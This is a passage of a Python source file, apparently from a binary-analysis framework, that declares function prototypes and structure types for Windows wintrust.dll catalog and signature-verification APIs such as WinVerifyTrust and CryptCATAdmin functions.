"DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeBottom(label="Void"), arg_names=["dwErrorArea", "dwLocalError", "pwszLine"]), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), arg_names=["pCDF", "pPrevMember", "pfnParseError"]),
#
'CryptCATCDFEnumAttributes': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "dwCurFilePos": SimTypeInt(signed=False, label="UInt32"), "dwLastMemberOffset": SimTypeInt(signed=False, label="UInt32"), "fEOF": SimTypeInt(signed=True, label="Int32"), "pwszResultDir": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hCATStore": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATCDF", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeBottom(label="Void"), arg_names=["dwErrorArea", "dwLocalError", "pwszLine"]), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["pCDF", "pMember", "pPrevAttr", "pfnParseError"]),
#
'IsCatalogFile': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hFile", "pwszFileName"]),
#
'CryptCATAdminAcquireContext': SimTypeFunction([SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["phCatAdmin", "pgSubsystem", "dwFlags"]),
#
'CryptCATAdminAcquireContext2': SimTypeFunction([SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwInfoChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pvInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSerializedInfo": SimTypePointer(SimStruct({"dwFlags": SimTypeInt(signed=False, label="CERT_STRONG_SIGN_FLAGS"), "pwszCNGSignHashAlgids": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszCNGPubKeyMinBitLengths": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_STRONG_SIGN_SERIALIZED_INFO", pack=False, align=None), offset=0), "pszOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="<anon>", label="None")}, name="CERT_STRONG_SIGN_PARA", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["phCatAdmin", "pgSubsystem", "pwszHashAlgorithm", "pStrongHashPolicy", "dwFlags"]),
#
'CryptCATAdminReleaseContext': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatAdmin", "dwFlags"]),
#
'CryptCATAdminReleaseCatalogContext': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatAdmin", "hCatInfo", "dwFlags"]),
#
'CryptCATAdminEnumCatalogFromHash': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hCatAdmin", "pbHash", "cbHash", "dwFlags", "phPrevCatInfo"]),
#
'CryptCATAdminCalcHashFromFileHandle': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hFile", "pcbHash", "pbHash", "dwFlags"]),
#
'CryptCATAdminCalcHashFromFileHandle2': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatAdmin", "hFile", "pcbHash", "pbHash", "dwFlags"]),
#
'CryptCATAdminAddCatalog': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hCatAdmin", "pwszCatalogFile", "pwszSelectBaseName", "dwFlags"]),
#
'CryptCATAdminRemoveCatalog': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatAdmin", "pwszCatalogFile", "dwFlags"]),
#
'CryptCATCatalogInfoFromContext': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "wszCatalogFile": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 260)}, name="CATALOG_INFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatInfo", "psCatInfo", "dwFlags"]),
#
'CryptCATAdminResolveCatalogPath': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "wszCatalogFile": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 260)}, name="CATALOG_INFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatAdmin", "pwszCatalogFile", "psCatInfo", "dwFlags"]),
#
'CryptCATAdminPauseServiceForBackup': SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=True, label="Int32")], SimTypeInt(signed=True, label="Int32"), arg_names=["dwFlags", "fResume"]),
#
'WinVerifyTrust': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hwnd", "pgActionID", "pWVTData"]),
#
'WinVerifyTrustEx': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pPolicyCallbackData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSIPClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "dwUIChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UICHOICE"), "fdwRevocationChecks": SimTypeInt(signed=False, label="WINTRUST_DATA_REVOCATION_CHECKS"), "dwUnionChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UNION_CHOICE"), "Anonymous": SimUnion({"pFile": SimTypePointer(SimTypeBottom(label="WINTRUST_FILE_INFO"), offset=0), "pCatalog": SimTypePointer(SimTypeBottom(label="WINTRUST_CATALOG_INFO"), offset=0), "pBlob": SimTypePointer(SimTypeBottom(label="WINTRUST_BLOB_INFO"), offset=0), "pSgnr": SimTypePointer(SimTypeBottom(label="WINTRUST_SGNR_INFO"), offset=0), "pCert": SimTypePointer(SimTypeBottom(label="WINTRUST_CERT_INFO"), offset=0)}, name="<anon>", label="None"), "dwStateAction": SimTypeInt(signed=False, label="WINTRUST_DATA_STATE_ACTION"), "hWVTStateData": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwszURLReference": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwUIContext": SimTypeInt(signed=False, label="WINTRUST_DATA_UICONTEXT"), "pSignatureSettings": SimTypePointer(SimTypeBottom(label="WINTRUST_SIGNATURE_SETTINGS"), offset=0)}, name="WINTRUST_DATA", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hwnd", "pgActionID", "pWinTrustData"]),
#
'WintrustGetRegPolicyFlags': SimTypeFunction([SimTypePointer(SimTypeInt(signed=False, label="WINTRUST_POLICY_FLAGS"), offset=0)], SimTypeBottom(label="Void"), arg_names=["pdwPolicyFlags"]),
#
'WintrustSetRegPolicyFlags': SimTypeFunction([SimTypeInt(signed=False, label="WINTRUST_POLICY_FLAGS")], SimTypeInt(signed=True, label="Int32"), arg_names=["dwPolicyFlags"]),
#
'WintrustAddActionID': SimTypeFunction([SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "sInitProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sObjectProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sSignatureProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sCertificateProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sCertificatePolicyProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sFinalPolicyProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sTestPolicyProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None), "sCleanupProvider": SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszDLLName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFunctionName": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CRYPT_TRUST_REG_ENTRY", pack=False, align=None)}, name="CRYPT_REGISTER_ACTIONID", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pgActionID", "fdwFlags", "psProvInfo"]),
#
'WintrustRemoveActionID': SimTypeFunction([SimTypePointer(SimTypeBottom(label="Guid"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pgActionID"]),
#
'WintrustLoadFunctionPointers': SimTypeFunction([SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pfnAlloc": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeBottom(label="Void"), offset=0), arg_names=["cbSize"]), offset=0), "pfnFree": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypeBottom(label="Void"), arg_names=["pvMem2Free"]), offset=0), "pfnAddStore2Chain": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData", "hStore2Add"]), offset=0), "pfnAddSgnr2Chain": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData", "fCounterSigner", "idxSigner", "pSgnr2Add"]), offset=0), "pfnAddCert2Chain": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCertEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCertEncoded": SimTypeInt(signed=False, label="UInt32"), "pCertInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "NotBefore": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NotAfter": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "Subject": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SubjectPublicKeyInfo": SimStruct({"Algorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "PublicKey": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None)}, name="CERT_PUBLIC_KEY_INFO", pack=False, align=None), "IssuerUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "SubjectUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CERT_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CERT_CONTEXT", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData", "idxSigner", "fCounterSigner", "idxCounterSigner", "pCert2Add"]), offset=0), "pfnAddPrivData2Chain": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0), SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_PRIVDATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData", "pPrivData2Add"]), offset=0), "pfnInitialize": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0), "pfnObjectTrust": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0), "pfnSignatureTrust": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0), "pfnCertificateTrust": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0), "pfnFinalPolicy": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0), "pfnCertCheckPolicy": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData", "idxSigner", "fCounterSignerChain", "idxCounterSigner"]), offset=0), "pfnTestFinalPolicy": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0), "psUIpfns": SimTypePointer(SimTypeBottom(label="CRYPT_PROVUI_FUNCS"), offset=0), "pfnCleanupPolicy": SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_DATA"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]), offset=0)}, name="CRYPT_PROVIDER_FUNCTIONS", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pgActionID", "pPfns"]),
#
'WintrustAddDefaultForUsage': SimTypeFunction([SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pgActionID": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "pwszDllName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszLoadCallbackDataFunctionName": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "pwszFreeCallbackDataFunctionName": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPT_PROVIDER_REGDEFUSAGE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pszUsageOID", "psDefUsage"]),
#
'WintrustGetDefaultForUsage': SimTypeFunction([SimTypeInt(signed=False, label="WINTRUST_GET_DEFAULT_FOR_USAGE_ACTION"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "gActionID": SimTypeBottom(label="Guid"), "pDefPolicyCallbackData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pDefSIPClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRYPT_PROVIDER_DEFUSAGE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["dwAction", "pszUsageOID", "psUsage"]),
#
'WTHelperGetProvSignerFromChain': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pWintrustData": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pPolicyCallbackData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSIPClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "dwUIChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UICHOICE"), "fdwRevocationChecks": SimTypeInt(signed=False, label="WINTRUST_DATA_REVOCATION_CHECKS"), "dwUnionChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UNION_CHOICE"), "Anonymous": SimUnion({"pFile": SimTypePointer(SimTypeBottom(label="WINTRUST_FILE_INFO"), offset=0), "pCatalog": SimTypePointer(SimTypeBottom(label="WINTRUST_CATALOG_INFO"), offset=0), "pBlob": SimTypePointer(SimTypeBottom(label="WINTRUST_BLOB_INFO"), offset=0), "pSgnr": SimTypePointer(SimTypeBottom(label="WINTRUST_SGNR_INFO"), offset=0), "pCert": SimTypePointer(SimTypeBottom(label="WINTRUST_CERT_INFO"), offset=0)}, name="<anon>", label="None"), 